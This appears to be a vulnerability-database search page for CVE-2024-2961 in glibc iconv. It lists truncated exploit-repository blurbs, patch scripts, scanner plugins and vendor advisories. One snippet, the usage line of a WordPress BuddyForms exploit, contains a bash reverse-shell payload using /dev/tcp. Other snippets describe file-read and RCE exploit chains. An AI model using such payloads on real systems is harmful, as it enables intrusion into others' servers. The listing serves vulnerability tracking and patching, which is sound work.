125 matches found
CVE-2024-2961_poc
Este repositorio no tiene un README...
iconvfix
iconvfix Script Bash para parchear CVE-2024-2961 Actualmente funciona en CentOS7. Sin garantía, no usar en sistemas de producción, esto es solo una ayuda interna : Uso tsh ssh username@target sudo 'bash -s' iconvfix.sh...
CVE-2023-26326_Buddyform_exploit
usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarla como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress más nuevos que ejecutan PHP 8+; sin embarg...
FIX-CVE-2024-2961
Script de shell rápido y sencillo para mitigar CVE-2024-2961 en Ubuntu y probablemente otras plataformas ejecuta el script de shell y eso debería ser suficiente. También puede que necesites modificar la ruta para las configuraciones de gconv Matt...
CVE-2024-2961
CVE-2024-2961 Utiliza CVE-2024-2961 para realizar una lectura arbitraria de archivos Uso Úsalo con wrapwrap para obtener la máxima potencia. usage: arbitrary-file-read.py -h -t TARGET -c CHAIN -ct CONTENTTYPE --prefix-len PREFIXLEN --suffix-len SUFFIXLEN options: -h, --help show this help message...
cve-2024-2961
cve-2024-2961 Versión personalizada de https://sansec.io/downloads/cve-2024-2961.c Crédito: https://github.com/ambionics/cnext-exploits https://github.com/absolutedesignltd/iconvfix...
CVE-2022-31626-CVE-2024-2961-CVE-2019-6977
CVE-2022-31626, CVE-2024-2961, CVE-2019-6977 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized...
osTicketFileReadIntoRCE
CVE-2026-22200: osTicket Lectura Arbitraria de Archivos a RCE Exploit de cadena completa que combina la inyección de cadenas de filtros PHP con CVE-2024-2961 CNEXT para la Ejecución Remota de Código no autenticada en instalaciones vulnerables de osTicket. Tabla de Contenidos Visión General Detall...
Exploit for Out-of-bounds Write in Gnu Glibc
CVE-2024-2961 CNEXT XXE Channel Adaptation for Exploit Scrip...
Photon OS 5.0: Glibc PHSA-2024-5.0-91-0250
An update of the glibc package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2024-5.0-91-0250. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...
Exploit for CVE-2024-2961
CVE-2026-22200: osTicket Arbitrary File Read to RCE...
TencentOS Server 3: glibc (TSSA-2024:0134)
The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0134 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...
Siemens SIMATIC S7-1500 Out-of-bounds Write (CVE-2024-2961)
The iconv function in the GNU C Library versions 2.39 and older may overflow the output buffer passed to it by up to 4 bytes when converting strings to the ISO-2022-CN-EXT character set, which may be used to crash an application or overwrite a neighbouring variable. This plugin only works with...
Security Bulletin: The iconv() function in the GNU C Library affects IBM Data Observability by Databand Self-Hosted (CVE-2024-2961)
Summary The vulnerability regarding iconv function in the GNU C Library versions 2.39 and older was addressed in IBM Data Observability by Databand Self-Hosted. Vulnerability Details CVEID:CVE-2024-2961 DESCRIPTION: The iconv function in the GNU C Library versions 2.39 and older may overflow the...
Nutanix AOS : Multiple Vulnerabilities (NXSA-AOS-6.10.1.6)
The version of AOS installed on the remote host is prior to 6.10.1.6. It is, therefore, affected by multiple vulnerabilities as referenced in the NXSA-AOS-6.10.1.6 advisory. - BZ2decompress in decompress.c in bzip2 through 1.0.6 has an out-of-bounds write when there are many selectors...
Oracle Linux 8 : glibc (ELSA-2025-20375)
The remote Oracle Linux 8 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2025-20375 advisory. - CVE-2025-4802: static setuid dlopen may search LDLIBRARYPATH RHEL-92685 - CVE-2025-0395: Fix a buffer overflow in assert RHEL-83306 - CVE-2024-33599: nscd:...
TencentOS Server 3: glibc (TSSA-2024:0149)
The version of Tencent Linux installed on the remote TencentOS Server 3 host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the TSSA-2024:0149 advisory. Package updates are available for TencentOS Server 3 that fix the following vulnerabilities:...
Alibaba Cloud Linux 3 : 0070: glibc (ALINUX3-SA-2024:0070)
The remote Alibaba Cloud Linux 3 host has packages installed that are affected by a vulnerability as referenced in the ALINUX3-SA-2024:0070 advisory. Package updates are available for Alibaba Cloud Linux 3 that fix the following vulnerabilities: CVE-2024-2961: The iconv function in the GNU C...
Security Bulletin: Vulnerability in glibc affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge - Assistant Builder Component.
Summary Potential vulnerability in glibc has been identified that affects IBM watsonx Assistant Cartridge and IBM watsonx Orchestrate with watsonx Assistant Cartridge - Assistant Builder Component. The vulnerability have been addressed. Refer to details for additional information. Vulnerability...